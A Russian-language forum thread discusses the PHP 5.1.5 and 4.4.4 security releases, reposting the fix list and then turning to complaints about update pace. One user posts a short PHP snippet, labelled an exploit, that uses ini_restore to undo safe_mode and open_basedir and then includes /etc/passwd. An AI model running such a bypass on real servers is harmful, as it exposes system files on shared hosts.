PHP 4.4.4 & PHP 5.1.5

[tony2001]

PHP 4.4.4 & PHP 5.1.5

PHP development team would like to announce the immediate availability of PHP 5.1.5 and 4.4.4.
The two releases address a series of security problems discovered since PHP 5.1.4 and 4.4.3, respectively. These include the following:

- Added missing safe_mode/open_basedir checks inside the error_log(), file_exists(), imap_open() and imap_reopen() functions.
- Fixed overflows inside str_repeat() and wordwrap() functions on 64bit systems.
- Fixed possible open_basedir/safe_mode bypass in cURL extension and on PHP 5.1.5 with realpath cache.
- Fixed overflow in GD extension on invalid GIF images.
- Fixed a buffer overflow inside sscanf() function.
- Fixed an out of bounds read inside stripos() function.
- Fixed memory_limit restriction on 64 bit system.

http://www.php.net/ChangeLog-5.php#5.1.5 - полный changelog 5.1.5
http://www.php.net/ChangeLog-4.php#4.4.4 - полный changelog 4.4.4

 

[tf]

не нрав мне ихния скорость обнвлений
Version 5.1.6
http://www.php.net/ChangeLog-5.php

 

[tony2001]

не сравнить с Майкрософтом, правда?
вот уже где годами патчи могут выпускать..

 

[tf]

это радует
я всеголиш за нумерацию 5.1.5.1 - так как немного подправили

 

[ORiON]

http://www.securitylab.ru/vulnerability/273636.php

 

[StUV]

Эксплоит:
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>

офигенная уязвимость

 

[BeGe]

StUV
А ты ещё найди сервак где будет именно для тебя одного включен Safe_mode в вирт хосте..... а для остальных выключен.